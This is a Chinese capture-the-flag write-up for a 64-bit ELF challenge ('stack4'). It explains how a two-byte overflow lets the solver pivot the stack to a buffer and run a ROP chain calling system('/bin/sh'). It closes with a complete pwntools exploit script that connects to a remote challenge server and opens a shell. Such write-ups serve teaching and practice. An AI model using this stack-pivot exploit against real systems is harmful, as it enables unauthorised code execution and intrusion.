题目链接
文件类型是 64 位 ELF。
开了 NX 保护。
用 IDA64 查看一下:
可以看到 print_name 最多只能溢出 2 个字节。
也就是说只能覆盖 rbp 的最低 2 个字节。
此时需要使用栈迁移的技巧。
此题相对容易,因为已经给出了 buf 的地址,我们只需要把 main 函数栈帧的 rbp 迁移到 buf 处,然后在 buf 处构造 ROP chain 即可。
原来 print_name 栈帧的栈底指向 main 栈帧的栈底。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| high address +--------------------+ <--+ +------> | previous rbp | | | +--------------------+ | | | ...... | | | +--------------------+ | main() | | buf | | | +--------------------+ | | | return address | | | +--------------------+ <--+ +------- | previous rbp | | +--------------------+ | | ...... | | print_name() +--------------------+ | | dest | | +--------------------+ <--+ low address
|
覆盖后 main 栈帧的栈底迁移到 buf,然后在 buf 上构造 ROP chain,这样 main 函数返回后就去执行 ROP chain 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| high address +--------------------+ | previous rbp | +--------------------+ | ...... | +--------------------+ | ROP chain | +--------------------+ <--+ +------> | buf | | | +--------------------+ | main() | | return address | | | +--------------------+ <--+ +------- | previous rbp | | +--------------------+ | | ...... | | print_name() +--------------------+ | | dest | | +--------------------+ <--+ low address
|
1
| objdump -d stack4 | grep 'plt'
|
system 函数的地址为 0x400600
。
1
| ROPgadget --binary stack4 --only "pop|ret" | grep "rdi"
|
pop rdi; ret
的地址为 0x4008a3
。
1
| ROPgadget --binary stack4 --string "/bin/sh"
|
字符串 “/bin/sh” 的地址为 0x4008c9
。
所以 payload 为 fake rbp (随便填)
+ pop rdi; ret
+ "/bin/sh"
+ system
+ 填充16个字节
+ buf 的地址
print_name 中 dest 与 rbp 的距离为 48 个字节,fake rbp (随便填)
+ pop rdi; ret
+ "/bin/sh"
+ system
有 32 个字节,因此还需填充 16 个字节才到 rbp。然后 buf 的地址
只能覆盖 rbp 的最低两个字节,但是足够了,因为 main 函数中 buf 到 rbp 的距离为 256 个字节。
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import * import re
p = remote("47.94.239.235", 2024)
p.recvuntil(":") buf_addr = p.recvuntil("\n") buf_addr = int(buf_addr[-15:-1], 16)
poprdi_addr = 0x4008a3 binsh_addr = 0x4008c9 system_addr = 0x400600
payload = flat([p64(0xdeadbeef), p64(poprdi_addr), p64(binsh_addr), p64(system_addr), 'a'*16, p64(buf_addr) ])
p.sendlineafter("plz", payload)
p.interactive()
|
成功拿到 shell。